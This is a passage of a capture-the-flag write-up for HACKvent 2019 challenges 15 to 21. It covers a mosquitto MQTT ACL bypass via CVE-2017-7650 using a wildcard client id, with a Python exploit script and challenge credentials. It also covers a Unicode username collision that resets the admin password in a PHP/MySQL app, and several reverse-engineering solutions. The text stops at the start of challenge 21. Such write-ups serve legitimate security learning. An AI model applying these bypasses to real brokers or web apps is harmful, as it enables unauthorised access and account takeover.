if (clientid == null) {
  clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
  localStorage.setItem("clientid", clientid);
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;

We have the login details, we know we need the clientid which is stored in our browser and we know how to get the flag. I informed myself a bit more about MQTT and learned about single- and multi-level wildcards and $SYS topics etc. Much information is available on this website: https://www.hivemq.com/blog/mqtt-essentials-part-5-mqtt-topics-best-practices/

Subscribing to $SYS/* revealed this nice little piece of information:

$SYS/broker/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)

CVE-2017-7650 tells us, that the ACLs on the server side can be circumvented if we create an userid which includes the โ€œ+โ€ or โ€œ#โ€ wildcard signs. According to the hint in the latest message this CVE was fixed, but probably in a wrong way. This definitely is the way to go.

The Access List on the server probably is set to only allow us to read the messages for our own clientid. Meaning only the messages at โ€œHV19/gifts/clientidโ€ can be read, but none further like โ€œHV19/gifts/clientid/xxxโ€. Therefore we can also not read the flag at HV19/gifts/clientid/flag-tbd. More information about ACLs in mosquitto can be found here: https://mosquitto.org/man/mosquitto-conf-5.html
The ACL for this challenge probably looks something like this:

pattern read HV19/gifts/%c

The solution is to set the clientid to โ€œ<clientid>/#โ€. This way we can break out of the context and read the message at clientid/xxx. I created a python script to solve this challenge, based on the public exploit:

#!/usr/bin/env python3
import paho.mqtt.client as mqtt
import logging
def dump(obj):
  for attr in dir(obj):
    print("obj.%s = %r" % (attr, getattr(obj, attr)))
def on_connect(client, userdata, flags, rc):
    print("Connected to MQTT broker.")
    # dump(client)
    print("Waiting for messages...\n\n")
def on_message(client, userdata, msg):
    print(msg.topic+" "+str(msg.payload))
def exploit(host):
    client = mqtt.Client(client_id='0227756727216079/#', clean_session=False, transport='websockets')
    client.on_connect = on_connect
    client.on_message = on_message
    client.enable_logger() # Enable logs
    print("Connecting to MQTT broker on %s" % host)
    client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')
    # client.username_pw_set('', password='')
    client.connect(host, 9001, 60, '')

Running the script looks like this:

$ python sol.py
Connecting to MQTT broker on whale.hacking-lab.com
Connected to MQTT broker.
{'session present': 1}
Waiting for messages...
$SYS/broker/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)
HV19/gifts/0227756727216079/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} Congrats, you got it. The elves should not overrate their smartness!!!

Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}

HV19.16 B0rked Calculator (Author: hardlock โ€” Level: hard)

Santa has coded a simple project for you, but sadly he removed all the operations.
But when you restore them it will print the flag!


I solved this completely with Ollydbg. B0rked Calculator is a simple calculator written in ASM. All the four operations are replaced with NOP calls.

As the description says we have to fix the calculator to get the flag. This is what I did.. I patched the calculator in Ollydb and it printed the flag.

The only tricky part was to clear the EDX register for the division. According to this ASM guide I tried to move 0 into the EDX register, but in the calculator there were not enough NOP spaces to do so. We can clear the EDX register in a more efficient way by XORing the register with itself. This also results in 0.

Flag: HV19{B0rked_Flag_Calculat0r}

HV19.17 Unicode Portal (Author: scryh โ€” Level: hard)

Buy your special gifts online, but for the ultimative gift you have to become admin.


A website with the suspicious title โ€œUnicode Portalโ€ is the starting point of this challenge.

After creating an username we can browse throught the portal and find PHP source code, which apparently is used in this website.

if (isset($_GET['show'])) highlight_file(__FILE__);
 * Verifies user credentials.
function verifyCreds($conn, $username, $password) {
  $usr = $conn->real_escape_string($username);
  $res = $conn->query("SELECT password FROM users WHERE username='".$usr."'");
  $row = $res->fetch_assoc();
  if ($row) {
    if (password_verify($password, $row['password'])) return true;
    else addFailedLoginAttempt($conn, $_SERVER['REMOTE_ADDR']);
  return false;
 * Determines if the given user is admin.
function isAdmin($username) {
  return ($username === 'santa');
 * Determines if the given username is already taken.
function isUsernameAvailable($conn, $username) {
  $usr = $conn->real_escape_string($username);
  $res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");
  $row = $res->fetch_assoc();
  return (int)$row['cnt'] === 0;
 * Registers a new user.
function registerUser($conn, $username, $password) {
  $usr = $conn->real_escape_string($username);
  $pwd = password_hash($password, PASSWORD_DEFAULT);
  $conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");
 * Adds a failed login attempt for the given ip address. An ip address gets blacklisted for 15 minutes if there are more than 3 failed login attempts.
function addFailedLoginAttempt($conn, $ip) {
  $ip = $conn->real_escape_string($ip);
  $conn->query("INSERT INTO fails (ip) VALUES ('".$ip."')");

Userinputs seem to be correctly escaped with โ€œreal_escape_stringโ€. It doesnโ€™t look like there are any SQL injection vulnerabilities. There is even a blocking method, if we try to brute-force the login form we get blacklisted for 15 minutes. Nice measure to stop participants to use tools like SQLmap! Based on the source code we know the user โ€˜santaโ€™ is admin. This is our target!

This piece of code looks promising:

$conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");

This method sets a new password to an existing user when a duplicate key error in MySQL is triggered. Apparently the username is also the key in the users table.
We cannot just create a new user โ€˜santaโ€™ because there is a check for existing users when we register a new one:

$res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");

Good (or bad?) in timing was hackernews publishing an interesting article about โ€œHacking Github with Unicodeโ€ the same day as the challenge wasโ€ฆ

We can exploit exactly this vulnerability to change the password of the user โ€˜santaโ€™. The existing user check is done with โ€œBINARY LOWERโ€, therefore this will not trigger when we register a new unicode โ€˜santaโ€™ user. But the ON Duplicate Error will, so we can set a new password.

Register the user โ€˜ลฟantaโ€™ with the password โ€˜passwordโ€™.

Login with the username โ€˜santaโ€™ and the password โ€˜passwordโ€™ and browse to the admin area.

Flag: HV19{h4v1ng_fun_w1th_un1c0d3}

HV19.18 Dance with me (Author: hardlock โ€” Level: hard)

Santa had some fun and created todays present with a special dance. this is what he made up for you:
Dance with him to recover the flag.


The ZIP file provided had a Debian package file inside.

$ file ./dance
./dance: Debian binary package (format 2.0), with control.tar.gz, data compression lzma

The Debian package can be extracted:

$ mkdir tmp
$ dpkg-deb -R dance tmp

We find a control file and a binary inside the folders. This is a binary compiled to run on an iPhone.

$ cat control
Package: com.hacking-lab.dance
Name: dance
Architecture: iphoneos-arm
Description: An awesome tool of some sort!!
Maintainer: hardlock
Author: hardlock
Section: System
Tag: role::hacker
Version: 0.0.1
Installed-Size: 196
$ file dance
dance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

As I donโ€™t posses an iPhone this means static analysisโ€ฆ This time I choose Hopper to work with. The relevant part of the binary are in the _main function:

According to the challenge description this binary might implement the Salsa20 encryption. We get the confirmation about this when we compare the _dance_words function with the Wikipedia article:

This means we have to find a 256-bit key, and 64-bit nonce to reverse the flag. Apparently the main function does all the needed calculations. The _dance functions are complete implementations of the Salsa encryption and just need the right arguments.

The nonce is pretty straight forward to find:

_dance(&var_B0, r19, &var_70, 0xb132d0a8e78f4511);

After having the nonce (0xb132d0a8e78f4511) we need the 256bit key. They is loaded in this part of the main function:

0000000100007d9c         ldr        x8, [x8]
0000000100007da0         stur       x8, [x29, var_28]
0000000100007da4         adr        x8, #0x100007f50
0000000100007da8         nop
0000000100007dac         ldp        q0, q1, [x8, #0x20]
0000000100007db0         stp        q0, q1, [sp, #0x90]
0000000100007db4         ldp        q0, q1, [x8]
0000000100007db8         stp        q0, q1, [sp, #0x70]
0000000100007dbc         movi       v0.16b, #0x0
0000000100007dc0         stp        q0, q0, [sp, #0x50]
0000000100007dc4         stp        q0, q0, [sp, #0x30]
0000000100007dc8         adr        x0, #0x100007f90      

Basically the key is stored at the address 0x100007f50. We can just copy & use it.

<strong>Nonce</strong>: 11 45 8f e7 a8 d0 32 b1 (Endianess!  0xb132d0a8e78f4511)
<strong>Key</strong>: 03 20 63 46 61 b6 3c af aa 76 c2 7e ea 00 b5 9b fb 2f 70 97 21 4f d0 4c b2 57 ac 29 04 ef ee 46
<strong>Encrypted Flag</strong>:  <em>096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15</em> 

I was lazy and didnโ€™t write code to decrypt the flag myself. I used this online tool: http://kryptografie.de/kryptografie/chiffre/salsa20.htm

Flag: HV19{Danc1ng_Salsa_in_ass3mbly}

HV19.19 ๐ŸŽ… (Author: M. โ€” Level: hard)

๐Ÿ๐Ÿ‡๐ŸŽถ๐Ÿ”ค๐Ÿ‡๐Ÿฆ๐ŸŸ๐Ÿ—ž๐Ÿฐ๐Ÿ“˜๐Ÿฅ–๐Ÿ–ผ๐Ÿšฉ๐Ÿฅฉ๐Ÿ˜ตโ›บโ—๏ธ๐Ÿฅ๐Ÿ˜€๐Ÿ‰๐Ÿฅž๐Ÿ๐Ÿ‘‰๏ธ๐Ÿง€๐ŸŽ๐Ÿช๐Ÿš€๐Ÿ™‹๐Ÿ”๐ŸŠ๐Ÿ˜›๐Ÿ”๐Ÿš‡๐Ÿ”ท๐ŸŽถ๐Ÿ“„๐Ÿฆ๐Ÿ“ฉ๐Ÿ‹๐Ÿ’ฉโ‰๏ธ๐Ÿ„๐Ÿฅœ๐Ÿฆ–๐Ÿ’ฃ๐ŸŽ„๐Ÿฅจ๐Ÿ“บ๐Ÿฅฏ๐Ÿ“ฝ๐Ÿ–๐Ÿ ๐Ÿ“˜๐Ÿ‘„๐Ÿ”๐Ÿ•๐Ÿ–๐ŸŒญ๐Ÿท๐Ÿฆ‘๐Ÿดโ›ช๐Ÿคง๐ŸŒŸ๐Ÿ”“๐Ÿ”ฅ๐ŸŽ๐Ÿงฆ๐Ÿคฌ๐Ÿšฒ๐Ÿ””๐Ÿ•ฏ๐Ÿฅถโค๏ธ๐Ÿ’Ž๐Ÿ“ฏ๐ŸŽ™๐ŸŽš๐ŸŽ›๐Ÿ“ป๐Ÿ“ฑ๐Ÿ”‹๐Ÿ˜ˆ๐Ÿ”Œ๐Ÿ’ป๐Ÿฌ๐Ÿ–จ๐Ÿ–ฑ๐Ÿ–ฒ๐Ÿ’พ๐Ÿ’ฟ๐Ÿงฎ๐ŸŽฅ๐ŸŽž๐Ÿ”Ž๐Ÿ’ก๐Ÿ”ฆ๐Ÿฎ๐Ÿ“”๐Ÿ“–๐Ÿ™๐Ÿ˜๐Ÿ’ค๐Ÿ‘ป๐Ÿ›ด๐Ÿ“™๐Ÿ“š๐Ÿฅ“๐Ÿ““๐Ÿ›ฉ๐Ÿ“œ๐Ÿ“ฐ๐Ÿ˜‚๐Ÿ‡๐Ÿš•๐Ÿ”–๐Ÿท๐Ÿ’ฐโ›ด๐Ÿ’ด๐Ÿ’ธ๐Ÿš๐Ÿฅถ๐Ÿ’ณ๐Ÿ˜Ž๐Ÿ–๐ŸšŽ๐Ÿฅณ๐Ÿ“๐Ÿ“๐Ÿ—‚๐Ÿฅด๐Ÿ“…๐Ÿ“‡๐Ÿ“ˆ๐Ÿ“‰๐Ÿ“Š๐Ÿ”’โ›„๐ŸŒฐ๐Ÿ•ทโณ๐Ÿ“—๐Ÿ”จ๐Ÿ› ๐Ÿงฒ๐Ÿง๐Ÿš‘๐Ÿงช๐Ÿ‹๐Ÿงฌ๐Ÿ”ฌ๐Ÿ”ญ๐Ÿ“ก๐Ÿคช๐Ÿš’๐Ÿ’‰๐Ÿ’Š๐Ÿ›๐Ÿ›‹๐Ÿšฝ๐Ÿšฟ๐Ÿงด๐Ÿงท๐Ÿฉ๐Ÿงน๐Ÿงบ๐Ÿ˜บ๐Ÿงป๐Ÿšš๐Ÿงฏ๐Ÿ˜‡๐Ÿšฌ๐Ÿ—œ๐Ÿ‘ฝ๐Ÿ”—๐Ÿงฐ๐ŸŽฟ๐Ÿ›ท๐ŸฅŒ๐ŸŽฏ๐ŸŽฑ๐ŸŽฎ๐ŸŽฐ๐ŸŽฒ๐ŸŽ๐Ÿฅต๐Ÿงฉ๐ŸŽญ๐ŸŽจ๐Ÿงต๐Ÿงถ๐ŸŽผ๐ŸŽค๐Ÿฅ๐ŸŽฌ๐Ÿน๐ŸŽ“๐Ÿพ๐Ÿ’๐Ÿž๐Ÿ”ช๐Ÿ’ฅ๐Ÿ‰๐Ÿš›๐Ÿฆ•๐Ÿ”๐Ÿ—๐Ÿค ๐Ÿณ๐Ÿงซ๐ŸŸ๐Ÿ–ฅ๐Ÿก๐ŸŒผ๐Ÿคข๐ŸŒท๐ŸŒ๐ŸŒˆโœจ๐ŸŽ๐ŸŒ–๐Ÿคฏ๐Ÿ๐Ÿฆ ๐Ÿฆ‹๐Ÿคฎ๐ŸŒ‹๐Ÿฅ๐Ÿญ๐Ÿ—ฝโ›ฒ๐Ÿ’ฏ๐ŸŒ๐ŸŒƒ๐ŸšŒ๐Ÿ“•๐Ÿšœ๐Ÿ›๐Ÿ›ต๐Ÿšฆ๐Ÿšงโ›ต๐Ÿ›ณ๐Ÿ’บ๐Ÿš ๐Ÿ›ฐ๐ŸŽ†๐Ÿค•๐Ÿ’€๐Ÿค“๐Ÿคก๐Ÿ‘บ๐Ÿค–๐Ÿ‘Œ๐Ÿ‘Ž๐Ÿง ๐Ÿ‘€๐Ÿ˜ด๐Ÿ–ค๐Ÿ”ค โ—๏ธโžก๏ธ ใ‰“ ๐Ÿ†•๐Ÿฏ๐Ÿš๐Ÿ”ข๐Ÿ†๐Ÿธโ—๏ธโžก๏ธ ๐Ÿ–๐Ÿ†•ใŠท ๐Ÿ”‚ โŒ˜ ๐Ÿ†•โฉโฉ ๐Ÿ”๐Ÿจ๐Ÿ†โ—๏ธ ๐Ÿ”ใ‰“โ—๏ธโ—๏ธ ๐Ÿ‡ โŒ˜ โžก๏ธ๐Ÿฝ ใŠท ๐Ÿฝ ใ‰“ โŒ˜โ—๏ธโ—๏ธ๐Ÿ‰ ๐ŸŽถ๐Ÿ”ค๐Ÿด๐ŸŽ™๐Ÿฆ–๐Ÿ“บ๐Ÿ‰๐Ÿ“˜๐Ÿ–๐Ÿ“œ๐Ÿ””๐ŸŒŸ๐Ÿฆ‘โค๏ธ๐Ÿ’ฉ๐Ÿ”‹โค๏ธ๐Ÿ””๐Ÿ‰๐Ÿ“ฉ๐ŸŽž๐Ÿฎ๐ŸŒŸ๐Ÿ’พโ›ช๐Ÿ“บ๐Ÿฅฏ๐Ÿฅณ๐Ÿ”ค โ—๏ธโžก๏ธ ๐Ÿ…œ ๐ŸŽถ๐Ÿ”ค๐Ÿ’๐Ÿก๐Ÿงฐ๐ŸŽฒ๐Ÿค“๐Ÿšš๐Ÿงฉ๐Ÿคก๐Ÿ”ค โ—๏ธโžก๏ธ ๐Ÿ…ผ ๐Ÿ˜€ ๐Ÿ”ค ๐Ÿ”’ โžก๏ธ ๐ŸŽ…๐Ÿปโ‰๏ธ โžก๏ธ ๐ŸŽ„๐Ÿšฉ ๐Ÿ”คโ—๏ธ๐Ÿ“‡๐Ÿ”ช ๐Ÿ†• ๐Ÿ”ก ๐Ÿ‘‚๐Ÿผโ—๏ธ๐Ÿ”๐Ÿจ๐Ÿ†โ—๏ธ๐Ÿ”๐Ÿจ๐Ÿ‘Ž๐Ÿ†โ—๏ธโ—๏ธโ—๏ธ โžก๏ธ ๐Ÿ„ผ โ†ช๏ธ๐Ÿ”๐Ÿ„ผโ—๏ธ๐Ÿ™Œ ๐Ÿ”๐Ÿจ๐Ÿ†โ—๏ธ๐Ÿ‡๐Ÿคฏ๐Ÿ‡๐Ÿ’ป๐Ÿ”ค๐Ÿ‘Ž๐Ÿ”คโ—๏ธ๐Ÿ‰ โ˜ฃ๏ธ๐Ÿ‡๐Ÿ†•๐Ÿง ๐Ÿ†•๐Ÿ”๐Ÿ…œโ—๏ธโ—๏ธโžก๏ธ โœ“๐Ÿ”‚ โŒ˜ ๐Ÿ†•โฉโฉ๐Ÿ”๐Ÿจ๐Ÿ†โ—๏ธ๐Ÿ”๐Ÿ…œโ—๏ธโ—๏ธ๐Ÿ‡๐Ÿฝ ใŠท ๐Ÿฝ ๐Ÿ…œ โŒ˜โ—๏ธโ—๏ธ โžก๏ธ โŒƒ๐Ÿฝ ๐Ÿ„ผ โŒ˜ ๐Ÿšฎ๐Ÿ”๐Ÿ„ผโ—๏ธโ—๏ธโžก๏ธ ^๐Ÿ’ง๐ŸบโŒƒโž–๐Ÿ”ใ‰“โ—๏ธโž—๐Ÿ”๐Ÿจ๐Ÿ‘Ž๐Ÿ‘๐Ÿ†โ—๏ธโ—๏ธโŒ^โŒ๐Ÿ’งโŒ˜โ—๏ธโžก๏ธ โŽˆ โ†ช๏ธ โŒ˜ โ—€ ๐Ÿ”๐Ÿ…ผโ—๏ธ๐ŸคโŽ๐Ÿบ๐Ÿฝ ใŠท ๐Ÿฝ ๐Ÿ…ผ โŒ˜โ—๏ธโ—๏ธโž– ๐Ÿคœ๐Ÿคœ ๐Ÿ”๐Ÿ…œโ—๏ธโž•๐Ÿ”๐Ÿ…œโ—๏ธโž–๐Ÿ”๐Ÿ„ผโ—๏ธโž–๐Ÿ”๐Ÿ…ผโ—๏ธโž•๐Ÿ”๐Ÿจ๐Ÿ‘๐Ÿ†โ—๏ธ๐Ÿค›โœ–๐Ÿ”๐Ÿจ๐Ÿ‘Ž๐Ÿ‘Ž๐Ÿ‘Ž๐Ÿ†โ—๏ธ๐Ÿค› ๐Ÿ™Œ ๐Ÿ”ขโŽˆโ—๏ธโ—๏ธ๐Ÿ‡ ๐Ÿคฏ๐Ÿ‡๐Ÿ’ป๐Ÿ”ค๐Ÿ‘Ž๐Ÿ”คโ—๏ธ๐Ÿ‰โœโœ“ โŽˆ โŒ˜ ๐Ÿ”๐Ÿจ๐Ÿ‘Ž๐Ÿ†โ—๏ธโ—๏ธ๐Ÿ‰๐Ÿ”ก๐Ÿ†•๐Ÿ“‡๐Ÿง โœ“ ๐Ÿ”๐Ÿ…œโ—๏ธโ—๏ธโ—๏ธโžก๏ธ โŒ˜โ†ช๏ธโŒ˜ ๐Ÿ™Œ ๐Ÿคทโ€โ™€๏ธ๐Ÿ‡๐Ÿคฏ๐Ÿ‡๐Ÿ’ป๐Ÿ”ค๐Ÿ‘Ž๐Ÿ”คโ—๏ธ๐Ÿ‰๐Ÿ˜€๐ŸบโŒ˜โ—๏ธ๐Ÿ‰ ๐Ÿ‰

The emojis in the description are actually program code. This is emojicode. ๐Ÿคฏ The emojis can actually be compiled and run like any other program on a machine. At first sight there were two possibilities to solve this challenge.

  1. Learn emojicode and understand what the program does
  2. Compile the program and disassemble/debug the executable like any other binary file

I didnโ€™t like this challenge at all. In my opinion it does not make sense to learn a new programming language which I obviously will never use again..

Therefore I tried variant number two. But this approach seemed way harder than it should. After some time I heard the rumor, that there is an easy variant to solve the challenge and we should focus on the output of the program. I am very glad to have received this hint! ๐Ÿ™‚

$ ./emoji
 ๐Ÿ”’ โžก๏ธ ๐ŸŽ…๐Ÿปโ‰๏ธ โžก๏ธ ๐ŸŽ„๐Ÿšฉ
๐Ÿคฏ Program panicked: ๐Ÿ‘Ž

Lock -> Santa?! -> Xmas Tree Flag. It almost sounds like an if/else comparison. After some moments (long ones ๐Ÿ˜€) it got me. Santa gets a lock, what does he need to return us the flag? THE KEY!

$ ./emoji
๐Ÿ”’ โžก๏ธ ๐ŸŽ…๐Ÿปโ‰๏ธ โžก๏ธ ๐ŸŽ„๐Ÿšฉ

Flag: HV19{*

HV19.20 i want to play a game (Author: hardlock โ€” Level: hard)

Santa was spying you on Discord and saw that you want something weird and obscure to reverse?
your wish is my command.


Previous years the โ€œI want to play a gameโ€ challenges always were binaries of various game consoles. Letโ€™s examine the file a bit closer.

$ file game
/mnt/shared/game: Intel amd64 COFF object file, no line number info, not stripped, 26 sections, symbol offset=0xb50, 99 symbols
$ strings game
GCC: (GNU) 7.4.0

OK, looks like a PS4 executable. I used Ghidra again to work on this challenge. Everything interesting seems to be in the main function. Here is the disassembled pseudo code of Ghidra:

undefined8 _main(void)
  byte bVar1;
  undefined *puVar2;
  undefined *puVar3;
  uint uVar4;
  int iVar5;
  undefined8 uVar6;
  undefined8 uVar7;
  long lVar8;
  long lVar9;
  undefined2 *puVar10;
  code *local_520;
  code *local_518;
  undefined8 local_509;
  undefined local_501;
  undefined2 local_500 [8];
  undefined2 local_4f0;
  undefined2 local_4ee;
  undefined4 local_4ec;
  undefined local_4e6 [6];
  byte local_4e0 [32];
  byte local_4c0 [32];
  undefined local_4a0 [112];
  undefined local_430 [1024];
  (*(code *)refptr.initKernel)();
  (*(code *)refptr.initLibc)();
  (*(code *)refptr.initNetwork)();
  uVar4 = (**(code **)refptr.sceKernelLoadStartModule)(0x2174,0,0,0,0,0);
  puVar3 = refptr.sceKernelDlsym;
  (*(code *)refptr.sceKernelDlsym)((ulong)uVar4,0x219d,&local_520);
  (*(code *)puVar3)((ulong)uVar4,0x21c6,&local_518);
  puVar3 = refptr.malloc;
  uVar6 = (**(code **)refptr.malloc)(0x40);
  uVar7 = (**(code **)puVar3)(0x10);
  uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a);
  lVar8 = (**(code **)puVar3)(0x21);
  (*(code *)refptr.MD5Init)(local_4a0);
  puVar2 = refptr.MD5Update;
  puVar3 = refptr.fread;
  while( true ) {
    uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6);
    if (uVar4 == 0) break;
    (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4);
  puVar10 = local_500;
  (*(code *)refptr.MD5Final)(puVar10,local_4a0);
  (**(code **)refptr.fclose)(uVar6);
  puVar2 = refptr.sprintf;
  lVar9 = lVar8;
  do {
    bVar1 = *(byte *)puVar10;
    puVar10 = (undefined2 *)((long)puVar10 + 1);
    (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1);
    lVar9 = lVar9 + 2;
  } while (&local_4f0 != puVar10);
  iVar5 = (**(code **)refptr.strcmp)(0x22fe,lVar8);
  if (iVar5 == 0) {
    lVar8 = 0;
    do {
      local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b);
      lVar8 = lVar8 + 1;
    } while (lVar8 != 0x1a);
    lVar8 = 0x1337;
    uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318);
    do {
      (**(code **)refptr.fseek)(uVar6,lVar8,0);
      (**(code **)puVar3)(local_4c0,0x1a,1,uVar6);
      lVar9 = 0;
      do {
        local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9];
        lVar9 = lVar9 + 1;
      } while (lVar9 != 0x1a);
      lVar8 = lVar8 + 0x1337;
    } while (lVar8 != 0x1714908);
    (**(code **)refptr.fclose)(uVar6);
    local_501 = 0;
    local_509 = 0x67616c66646e6573;
    local_4f0 = 0x210;
    local_4ec = 0x100007f;
    local_4ee = (**(code **)refptr.sceNetHtons)(0x539);
    (**(code **)refptr.memset)(local_4e6,0,6);
    uVar4 = (**(code **)refptr.sceNetSocket)(&local_509,2,1,0);
    (**(code **)refptr.sceNetConnect)((ulong)uVar4,&local_4f0,0x10);
    (**(code **)refptr.sceNetSend)((ulong)uVar4,local_4e0,0x1a,0);
    (**(code **)refptr.sceNetSocketClose)((ulong)uVar4);
  return 0;

The memory addresses seem to be off. If we follow the data references we land in the code part of the program. Not sure if this was intended to make it harder or just a problem in Ghidraโ€ฆ

After some initializations a file is opened and the md5sum of it is being calculated:

  uVar6 = (**(code **)refptr.malloc)(0x40);
  uVar7 = (**(code **)puVar3)(0x10);
  uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a);
  lVar8 = (**(code **)puVar3)(0x21);
  (*(code *)refptr.MD5Init)(local_4a0);
  puVar2 = refptr.MD5Update;
  puVar3 = refptr.fread;
  while( true ) {
    uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6);
    if (uVar4 == 0) break;
    (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4);
  puVar10 = local_500;
  (*(code *)refptr.MD5Final)(puVar10,local_4a0);
  (**(code **)refptr.fclose)(uVar6);

The calculated MD5 hash is compared with a string in memory:

  lVar9 = lVar8;
  do {
    bVar1 = *(byte *)puVar10;
    puVar10 = (undefined2 *)((long)puVar10 + 1);
    (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1);
    lVar9 = lVar9 + 2;
  } while (&local_4f0 != puVar10);
  iVar5 = (**(code **)refptr.strcmp)(0x22fe,lVar8);
  if (iVar5 == 0) {

Based on the information we got from โ€œstringsโ€ at the beginning I took the assumption that the file โ€œ/mnt/usb0/PS4UPDATE.PUPโ€ is opened, the MD5 hash of it is being calculated and compared against the hash โ€œf86d4f9d2c049547bd61f942151ffb55โ€ which is at the memory address 0x2080:

        00002080 66              ??         66h    f
        00002081 38              ??         38h    8
        00002082 36              ??         36h    6
        00002083 64              ??         64h    d
        00002084 34              ??         34h    4
        00002085 66              ??         66h    f
        00002086 39              ??         39h    9
        00002087 64              ??         64h    d
        00002088 32              ??         32h    2
        00002089 63              ??         63h    c
        0000208a 30              ??         30h    0
        0000208b 34              ??         34h    4
        0000208c 39              ??         39h    9
        0000208d 35              ??         35h    5
        0000208e 34              ??         34h    4
        0000208f 37              ??         37h    7
        00002090 62              ??         62h    b
        00002091 64              ??         64h    d
        00002092 36              ??         36h    6
        00002093 31              ??         31h    1
        00002094 66              ??         66h    f
        00002095 39              ??         39h    9
        00002096 34              ??         34h    4
        00002097 32              ??         32h    2
        00002098 31              ??         31h    1
        00002099 35              ??         35h    5
        0000209a 31              ??         31h    1
        0000209b 66              ??         66h    f
        0000209c 66              ??         66h    f
        0000209d 62              ??         62h    b
        0000209e 35              ??         35h    5
        0000209f 35              ??         35h    5

I googled the MD5 hash and found an exploit guide for PS4. There it is also possible to download said firmware. The next part in the code looks like this:

    lVar8 = 0;
    do {
      local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b);
      lVar8 = lVar8 + 1;
    } while (lVar8 != 0x1a);

The first loop loads 26 bytes (0x1a) into the variable local_4e0. Because the memory addresses are wrong in Ghidra I manually checked the DATA part of the executable and found only one not used and matching memory part:

        00002000 ce              undefined1 CEh
        00002001 55              ??         55h    U
        00002002 95              ??         95h
        00002003 4e              ??         4Eh    N
        00002004 38              ??         38h    8
        00002005 c5              ??         C5h
        00002006 89              ??         89h
        00002007 a5              ??         A5h
        00002008 1b              ??         1Bh
        00002009 6f              ??         6Fh    o
        0000200a 5e              ??         5Eh    ^
        0000200b 25              ??         25h    %
        0000200c d2              ??         D2h
        0000200d 1d              ??         1Dh
        0000200e 2a              ??         2Ah    *
        0000200f 2b              ??         2Bh    +
        00002010 5e              ??         5Eh    ^
        00002011 7b              ??         7Bh    {
        00002012 39              ??         39h    9
        00002013 14              ??         14h
        00002014 8e              ??         8Eh
        00002015 d0              ??         D0h
        00002016 f0              ??         F0h
        00002017 f8              ??         F8h
        00002018 f8              ??         F8h
        00002019 a5              ??         A5h
        0000201a 00              ??         00h

In the next section of the source code the the PS4 firmware file is read. Afterwards we have two nested loops. The inner XORs the 26 bytes stored in local_4e0 against local_4c0, which is memory of the opened file.
The outer loop starts reading the file at the position 0x1337 and then XORs 26 bytes in the inner loop against the key which we found before (local_4e0). This is done 0x1337 times (0x1714908 / 0x1337 = 0x1338; we started at 0x1337):

lVar8 = 0x1337;
    uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318);
    do {
      (**(code **)refptr.fseek)(uVar6,lVar8,0);
      (**(code **)puVar3)(local_4c0,0x1a,1,uVar6);
      lVar9 = 0;
      do {
        local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9];
        lVar9 = lVar9 + 1;
      } while (lVar9 != 0x1a);
      lVar8 = lVar8 + 0x1337;
    } while (lVar8 != 0x1714908);

Now we know everything we need to know.

f = "/mnt/shared/PS4UPDATE.PUP"
key = list("\xce\x55\x95\x4e\x38\xc5\x89\xa5\x1b\x6f\x5e\x25\xd2\x1d\x2a\x2b\x5e\x7b\x39\x14\x8e\xd0\xf0\xf8\xf8\xa5\x00")
def strxor(x, y):
    return ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(x,y)])
def get_bytes_from_file(filename):
    return open(filename, "rb").read()
fi = get_bytes_from_file(f)
counter = 1
while counter <= 0x1337:
    c = 0
    while c < 26:
        key[c] = strxor(key[c], fi[(0x1337*counter)+c])
        c += 1
    counter += 1
res = ""
for x in key:
    res += x
$ python sol_20.py

Flag: HV19{C0nsole_H0mebr3w_FTW}

HV19.21 Happy Christmas 256 (Author: hardlock โ€” Level: hard)

Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.
This is his public key:

X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c

To make sure this is safe, he used the NIST P-256 standard.
But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:

  • Santa used a password and SHA256 for the private key (d)
  • His password was leaked 10 years ago
  • The password is length is the square root of 256
  • The flag is encrypted with AES256
  • The key for AES is derived with pbkdf2_hmac, salt: โ€œTwoHundredFiftySixโ€, iterations: 256 * 256 * 256

Phew โ€“ Santa seems to know his business โ€“ or can you still recover this flag?


The first real math challenge this year.
